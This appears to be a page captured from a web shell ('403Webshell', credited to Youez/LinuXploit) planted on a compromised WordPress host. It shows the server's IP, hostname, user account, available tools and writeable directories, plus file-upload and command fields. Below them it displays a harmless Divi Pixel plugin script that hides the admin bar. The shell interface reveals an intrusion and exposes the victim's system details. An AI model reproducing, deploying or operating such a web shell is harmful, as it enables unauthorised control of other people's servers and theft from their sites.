403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.146
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www/wp-content/plugins/divi-pixel/public/partials/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www/wp-content/plugins/divi-pixel/public/partials/hide-admin-bar-partial.php
<?php

$breakpoint_mobile = \DiviPixel\DIPI_Public::get_mobile_menu_breakpoint();

?>

<script type="text/javascript">

jQuery(document).ready(function ($) {

		if(!$('body').hasClass('et_is_customize_preview')) {
	
        $(window).resize(function(){

            if ($(window).width() > <?php echo intval($breakpoint_mobile); ?>) {

				let adminBarLocked = false;

				function show_admin_bar(){
					adminBarLocked = true;
					$('#wpadminbar').animate({'top': '0px'}, 200);
					$('body').animate({'margin-top': '0px'}, 200);

					if($('body').hasClass('et_fixed_nav')) {
						if($('body').hasClass('et_secondary_nav_enabled')) {
							$('#top-header').animate({'top': '32px'}, 200);
							var topHeaderHeight = $('#top-header').innerHeight();
							var totalSpace = topHeaderHeight+32;
							$('#main-header').animate({'top': totalSpace+'px'}, 200);
						} else {
							$('#main-header').animate({'top': '32px'}, 200);
						}
					}
				}

				function hide_admin_bar(){

					adminBarLocked = false;

					$('#wpadminbar').animate({'top': '-32px'}, 200);
					$('body').animate({'margin-top': '-32px'}, 200);

					if($('body').hasClass('et_fixed_nav')) {
						if($('body').hasClass('et_secondary_nav_enabled')) {
							$('#top-header').animate({'top': '0px'}, 200);
							var topHeaderHeight = $('#top-header').innerHeight();
							$('#main-header').animate({'top': topHeaderHeight+'px'}, 200);
						} else {
							$('#main-header').animate({'top': '0px'}, 200);
						}
					}
				}

				setTimeout(function(){
					hide_admin_bar();
				}, 1000);

				$("body").mousemove(function(e) {
				  if( e.clientY < 35 && !adminBarLocked){
						show_admin_bar();
					}
				});

				$('#wpadminbar').mouseleave(function(e) {
					if(adminBarLocked){
					setTimeout(function(){
						hide_admin_bar();
					}, 300);
					}
				});
	    	}
        });
	}//endif

});

</script>

Youez - 2016 - github.com/yon3zu
LinuXploit